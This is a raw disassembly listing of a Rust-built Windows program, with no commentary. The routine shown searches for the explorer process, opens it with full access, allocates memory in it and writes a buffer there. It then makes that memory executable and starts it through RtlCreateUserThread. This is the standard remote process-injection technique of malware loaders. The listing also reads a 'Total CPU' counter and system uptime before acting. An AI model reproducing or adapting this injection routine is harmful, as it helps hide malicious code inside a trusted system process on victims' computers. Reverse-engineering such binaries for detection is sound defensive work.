lea r9, [0x00491ae8]
jmp 0x423146
call fcn.00425ea0
ud2
add rdx, 0x70
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov r8, r15
call fcn.0043a193
mov rax, qword [rsi]
cmp rax, 2
je 0x423434
mov rbx, qword [rsp + 0x508]
movups xmm0, xmmword [rsp + 0x510]
movaps xmmword [rsp + 0xd0], xmm0
test rax, rax
je 0x423443
mov rax, qword [rsp + 0x520]
test rax, rax
je 0x423467
lea rsi, [r12 + 0x70]
movaps xmm0, xmmword [rsp + 0xd0]
lea rdi, [rsp + 0x500]
movups xmmword [rdi + 8], xmm0
mov qword [rdi], rbx
mov qword [rdi + 0x18], rax
mov rbx, 0xffffffffffffffff
cmp qword [rsp + 0x508], 0
je 0x423412
mov rax, qword [rsp + 0x500]
mov bpl, byte [rax]
mov edx, 1
mov rcx, rdi
call fcn.00416fc2
mov r14, qword [r12 + 0x80]
cmp r14, qword [r12 + 0x70]
jne 0x4233fc
mov rdx, qword [rsp + 0x508]
inc rdx
cmove rdx, rbx
mov rcx, rsi
call fcn.004274d7
mov rax, qword [r12 + 0x78]
mov byte [rax + r14], bpl
inc r14
mov qword [r12 + 0x80], r14
jmp 0x4233b3
lea rcx, [rsp + 0x500]
call fcn.004055e8
lea rdx, [r12 + 0x90]
mov qword [r12 + 0x88], rdx
jmp 0x423336
mov al, 4
mov byte [r13], al
mov al, 1
mov cl, 3
jmp 0x423ed9
mov rsi, qword [r12 + 0x70]
mov rdi, qword [r12 + 0x78]
mov rbx, qword [r12 + 0x80]
lea rcx, [r12 + 0x90]
call fcn.00406036
mov bpl, 1
jmp 0x4234a1
mov ecx, 8
mov edx, 8
call fcn.004075d7
mov rsi, rax
mov qword [rax], rbx
mov rcx, qword [r12 + 0x70]
mov rdx, qword [r12 + 0x78]
call fcn.00427458
lea rcx, [r12 + 0x90]
call fcn.00406036
lea rdi, fcn.00405601
xor ebp, ebp
lea rcx, [r12 + 0x10]
call fcn.0040395b
mov byte [r12 + 0x68], 1
mov rcx, r12
call fcn.00405de2
test bpl, bpl
je 0x423f67
lea rdx, [rsp + 0x500]
mov qword [rdx], rsi
mov qword [rdx + 8], rdi
mov qword [rdx + 0x10], rbx
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.0041c7fb
mov rdi, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xba8], 4
call fcn.0042fc7a
mov rbx, rax
mov qword [rsp + 0x50], rdx
lea rsi, [rsp + 0x500]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rsi
call fcn.00482570
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0x58], rax
mov rax, qword [rsi]
mov qword [rsp + 0x78], rax
mov rax, qword [rsi + 8]
mov qword [rsp + 0x70], rax
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x68], rax
mov ecx, 9
xor edx, edx
call fcn.00441038
mov r13, rax
mov rbp, rdx
movabs rax, 0x5043206c61746f54
mov qword [rdx], rax
mov byte [rdx + 8], 0x55
mov ecx, 0x120
mov edx, 8
call fcn.00427146
test rax, rax
je 0x423f95
mov r14, rax
mov qword [rsp + 0xa8], rdi
call fcn.0042fc7a
mov r15, rax
mov r12, rdx
call fcn.0047a9b0
shl rdx, 0x20
mov eax, eax
or rdx, rax
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.0047aa40
cmp qword [rsi], 0
je 0x4235c4
xor edi, edi
jmp 0x4235e5
mov rdi, qword [rsp + 0x508]
call sub.KERNEL32.dll_GetTickCount64
xor ecx, ecx
mov r8d, 0x3e8
xor edx, edx
div r8
sub rdi, rax
cmovb rdi, rcx
lea rsi, [rsp + 0x500]
mov rax, qword [rsp + 0x78]
mov qword [rsi + 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0x48], rax
mov rax, qword [rsp + 0x68]
mov qword [rsi + 0x50], rax
mov rax, qword [rsp + 0x58]
mov qword [rsi + 0x58], rax
mov qword [rsi + 0x60], rbx
mov rax, qword [rsp + 0x50]
mov qword [rsi + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsi + 0x130], xmm0
movups xmmword [rsi + 0x140], xmm0
movups xmmword [rsi + 0xa0], xmm0
movups xmmword [rsi + 0xb0], xmm0
mov qword [rsi + 0xc0], r13
mov qword [rsi + 0xc8], rbp
mov qword [rsi + 0xd0], 9
and qword [rsi + 0xd8], 0
mov eax, 1
mov qword [rsi + 0xe0], rax
movups xmmword [rsi + 0xe8], xmm0
mov qword [rsi + 0xf8], rax
and qword [rsi + 0x100], 0
and dword [rsi + 0x108], 0
and qword [rsi + 0x110], 0
mov r13d, 8
mov qword [rsi + 0x118], r13
and qword [rsi + 0x120], 0
mov byte [rsi + 0x128], 0
and qword [rsi + 0x158], 0
mov qword [rsi + 0x160], r13
and qword [rsi + 0x168], 0
mov qword [rsi + 0x170], 2
mov qword [rsi + 0x178], r14
and qword [rsi + 0x180], 0
and qword [rsi + 0x18], 0
movups xmmword [rsi + 0x70], xmm0
and qword [rsi + 0x80], 0
lea rax, [0x004a3230]
mov qword [rsi + 0x88], rax
mov qword [rsi + 0x90], r15
mov qword [rsi + 0x98], r12
mov qword [rsi + 0x150], rdi
and qword [rsi + 0x188], 0
mov qword [rsi + 0x190], r13
and qword [rsi + 0x198], 0
mov rcx, rsi
mov edx, 0x10101
call fcn.004828db
mov rdi, qword [rsi + 0x58]
mov rax, qword [rsi + 0x40]
mov rsi, qword [rsi + 0x50]
lea rbx, [rax + rdi]
inc rbx
movdqa xmm0, xmmword [rdi]
pmovmskb ebp, xmm0
not ebp
lea r14, [rdi + 0x10]
mov ecx, 0x38
mov edx, 8
call fcn.004075d7
lea rcx, str.explorerno_process_
mov qword [rax], rcx
mov qword [rax + 8], r13
lea rdx, [rax + 0x10]
mov qword [rsp + 0x50], rdx
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov word [rax + 0x28], bp
mov rbp, rcx
mov qword [rsp + 0x58], rax
mov qword [rax + 0x30], rsi
movdqa xmm6, xmmword [str.eeeeeeeeeeeeeeeerrrrrrrrrrrrrrrr]
movdqa xmm7, xmmword [0x00491120]
mov r12, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call fcn.0048222c
test rax, rax
je 0x423f4d
mov r13, rax
add r13, 0xfffffffffffffeb0
je 0x423f4d
mov rdi, qword [rax - 0x50]
mov rsi, qword [rax - 0x48]
cmp rsi, 8
jbe 0x423861
cmp rsi, 0x16
ja 0x423883
cmp rsi, 8
jb 0x42387c
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sliceiter.rs
mov qword [rsp + 0x20], rax
mov edx, 8
xor ecx, ecx
mov r8, rdi
mov r9, rsi
call fcn.00401b1e
mov r14, rax
mov r15, rdx
mov ecx, 1
mov rdx, rdi
mov r8, rsi
lea r9, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sliceiter.rs
call fcn.00401b77
mov rdi, rax
mov eax, 0
test r14, r14
je 0x423a03
mov rsi, rdx
mov r9d, 8
mov rcx, r14
mov rdx, r15
mov r8, rbp
call fcn.0042762c
test al, al
je 0x4237eb
jmp 0x423a00
mov edx, 8
mov rcx, rbp
mov r8, rdi
mov r9, rsi
call fcn.0042762c
test al, al
jne 0x423a00
xor eax, eax
jmp 0x423a03
mov ecx, 1
mov r8d, 8
mov rdx, rbp
lea r9, [0x00491990]
call fcn.00401b77
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rdx
lea rbp, [rdi + 7]
mov r12, 0xfffffffffffffff0
xor r15d, r15d
xor r14d, r14d
lea rax, [r15 + 0x47]
cmp rax, rsi
jae 0x423973
mov eax, r14d
and al, 1
jne 0x423973
add r15, 0x40
and qword [rsp + 0x3d0], 0
xor eax, eax
cmp rax, 8
je 0x423925
movdqu xmm0, xmmword [rbp + rax*8 - 7]
movdqu xmm1, xmmword [rbp + rax*8]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb ecx, xmm1
mov word [rsp + rax + 0x3d0], cx
add rax, 2
jmp 0x4238f5
xor ebx, ebx
mov rdx, rbx
shl rdx, 4
add rdx, r12
cmp rbx, 4
je 0x423966
movzx r8d, word [rsp + rbx*2 + 0x3d0]
inc rbx
add rdx, 0x10
test r8w, r8w
je 0x423931
and r14b, 1
lea rcx, [rsp + 0xd0]
mov r9d, r14d
call fcn.00406634
or r14b, al
jmp 0x423927
add rbp, 0x40
add r12, 0x40
jmp 0x4238ce
mov r12, qword [rsp + 0x60]
lea rbp, str.explorerno_process_
and r14b, 1
mov rax, r15
lea rcx, [rax + 0x17]
cmp rcx, rsi
jae 0x4239d5
test r14b, r14b
jne 0x4239d5
lea r15, [rax + 0x10]
movdqu xmm0, xmmword [rdi + rax]
movdqu xmm1, xmmword [rdi + rax + 7]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
mov rax, r15
test r8d, r8d
je 0x423986
lea rdx, [r15 - 0x10]
lea rcx, [rsp + 0xd0]
xor r9d, r9d
call fcn.00406634
mov r14d, eax
jmp 0x42397f
movdqu xmm0, xmmword [rdi + rsi - 0x17]
movdqu xmm1, xmmword [rdi + rsi - 0x10]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x423a0e
test r14b, r14b
je 0x42387c
mov rax, r13
test rax, rax
je 0x4237ac
jmp 0x423a33
add rsi, 0xffffffffffffffe9
test r14b, r14b
setne bl
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r9d, r14d
call fcn.00406634
mov r14d, eax
or r14b, bl
jmp 0x4239f7
mov edi, dword [rax + 0x90]
mov edx, 8
mov rcx, qword [rsp + 0x58]
call fcn.00424380
lea rcx, str.ntdll.dll
call sub.KERNEL32.dll_LoadLibraryA
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rax
mov ecx, 0x1fffff
xor edx, edx
mov r8d, edi
call sub.KERNEL32.dll_OpenProcess
test rax, rax
mov rbx, qword [rsp + 0xb0]
je 0x423fa4
mov rdi, rax
mov dword [rsp + 0x20], 4
mov rcx, rax
xor edx, edx
mov r8, rbx
mov r9d, 0x3000
call sub.KERNEL32.dll_VirtualAllocEx
test rax, rax
je 0x423fdf
mov r14, rax
and qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rax
mov r8, qword [rsp + 0xa8]
mov r9, rbx
call sub.KERNEL32.dll_WriteProcessMemory
test eax, eax
je 0x424017
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r14
mov r8, rbx
mov r9d, 0x10
call sub.KERNEL32.dll_VirtualProtectEx
test eax, eax
je 0x42404f
and qword [rsp + 0xd0], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r14
pxor xmm0, xmm0
and qword [rsp + 0x48], 0
movdqu xmmword [rsp + 0x20], xmm0
and qword [rsp + 0x38], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rsi
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x540]
test rcx, rcx
je 0x423bd9
mov rax, qword [rsp + 0x550]
test rax, rax
je 0x423bc0
mov rdx, qword [rsp + 0x558]
add rcx, rdx
inc rcx
movdqa xmm0, xmmword [rdx]
pmovmskb r8d, xmm0
not r8d
lea rsi, [rsp + 0xd0]
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x10], rdx
add rdx, 0x10
mov qword [rsi], rdx
mov qword [rsi + 8], rcx
mov qword [rsi + 0x20], rax
mov rcx, rsi
call fcn.0048222c
test rax, rax
je 0x423bb8
add rax, 0xfffffffffffffeb0
mov rcx, rax
call fcn.0047e690
jmp 0x423b9b
mov rcx, qword [rsp + 0x540]
mov rdx, qword [rsp + 0x558]
mov r8d, 0x158
mov r9d, 0x10
call fcn.00482197
mov rcx, qword [rsp + 0x5c0]
mov rdx, qword [rsp + 0x5c8]
call fcn.00427458
mov rdx, qword [rsp + 0x5a8]
test rdx, rdx
je 0x423c08
mov rcx, qword [rsp + 0x5a0]
call fcn.00427458
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5e0]
call fcn.00427458
mov rcx, qword [rsp + 0x5f0]
mov rdx, qword [rsp + 0x5f8]
call fcn.00427458
mov rcx, qword [rsp + 0x618]
mov rdx, qword [rsp + 0x620]
call fcn.00481fd1
mov rcx, qword [rsp + 0x610]
mov rdx, qword [rsp + 0x618]
call fcn.00482146
mov rcx, qword [rsp + 0x660]
mov rdx, qword [rsp + 0x668]
call fcn.00482064
mov rcx, qword [rsp + 0x658]
mov rdx, qword [rsp + 0x660]
call fcn.00482161
mov rcx, qword [rsp + 0x678]
mov rdx, qword [rsp + 0x680]
call fcn.0047e7bc
mov rcx, qword [rsp + 0x670]
mov rdx, qword [rsp + 0x678]
call fcn.0047e815
mov rax, qword [rsp + 0x518]
test rax, rax
je 0x423dd4
mov rcx, qword [rsp + 0x500]
mov rdx, qword [rsp + 0x510]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb r8d, xmm0
not r8d
lea r9, [rax + 0x10]
lea rsi, [rsp + 0xd0]
mov qword [rsi], r9
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x20], rdx
mov rcx, rsi
call fcn.004821c9
test rax, rax
je 0x423d1b
mov rcx, qword [rax - 8]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x423d03
mov rcx, qword [rsp + 0x538]
test rcx, rcx
je 0x423d2d
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x530]
test rcx, rcx
je 0x423d3f
call sub.pdh.dll_PdhCloseQuery
mov rcx, qword [rsp + 0x500]
test rcx, rcx
je 0x423dd4
mov rax, qword [rsp + 0x510]
test rax, rax
je 0x423dbb
mov rdx, qword [rsp + 0x518]
add rcx, rdx
inc rcx
movdqa xmm0, xmmword [rdx]
pmovmskb r8d, xmm0
not r8d
lea r9, [rdx + 0x10]
lea rsi, [rsp + 0xd0]
mov qword [rsi], r9
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x20], rax
mov rcx, rsi
call fcn.004821c9
test rax, rax
je 0x423db3
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.0044a8f3
jmp 0x423d97
mov rcx, qword [rsp + 0x500]
mov rdx, qword [rsp + 0x518]
mov r8d, 0x20
mov r9d, 0x10
call fcn.00482197
mov rcx, qword [rsp + 0x570]
test rcx, rcx
je 0x423e6c
mov rax, qword [rsp + 0x580]
test rax, rax
je 0x423e53
mov rdx, qword [rsp + 0x588]
add rcx, rdx
inc rcx
movdqa xmm0, xmmword [rdx]
pmovmskb r8d, xmm0
not r8d
lea r9, [rdx + 0x10]
lea rsi, [rsp + 0xd0]
mov qword [rsi], r9
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x20], rax
mov rcx, rsi
call fcn.00481cef
test rax, rax
je 0x423e4b
mov rcx, qword [rax - 0x88]
mov rdx, qword [rax - 0x80]
call fcn.0044a8f3
jmp 0x423e2c
mov rcx, qword [rsp + 0x570]
mov rdx, qword [rsp + 0x588]
mov r8d, 0x88
mov r9d, 0x10
call fcn.00482197
mov rcx, qword [rsp + 0x690]
mov rdx, qword [rsp + 0x698]
call fcn.0048201f
mov rcx, qword [rsp + 0x688]
mov rdx, qword [rsp + 0x690]
call fcn.0048217c
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
call fcn.00427458
mov rcx, qword [r12 + 0x148]
mov rdx, qword [r12 + 0x150]
call fcn.00427458
mov rcx, qword [r12 + 0x130]
mov rdx, qword [r12 + 0x138]
call fcn.00427458
mov cl, 1
xor eax, eax
mov byte [r12 + 0x160], cl
movaps xmm6, xmmword [rsp + 0xc30]
movaps xmm7, xmmword [rsp + 0xc40]
movaps xmm8, xmmword [rsp + 0xc50]
movaps xmm9, xmmword [rsp + 0xc60]
movaps xmm10, xmmword [rsp + 0xc70]
movaps xmm11, xmmword [rsp + 0xc80]
movaps xmm12, xmmword [rsp + 0xc90]
movaps xmm13, xmmword [rsp + 0xca0]
movaps xmm14, xmmword [rsp + 0xcb0]
movaps xmm15, xmmword [rsp + 0xcc0]
add rsp, 0xcd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x004931d0]
lea r8, str.win_src_main.rs
mov edx, 0xb
call fcn.0042aaa0
ud2
lea r8, [rsp + 0x500]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
lea rax, str.win_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
lea r9, fcn.004357c3
jmp 0x423146
mov ecx, 0x120
mov edx, 8
jmp 0x42332f
lea rax, str.OpenProcess_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
jmp 0x424085
lea rax, str.VirtualAllocEx_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
jmp 0x424085
lea rax, str.WriteProcessMemory_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
jmp 0x424085
lea rax, str.VirtualProtectEx_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
call fcn.00428040
ud2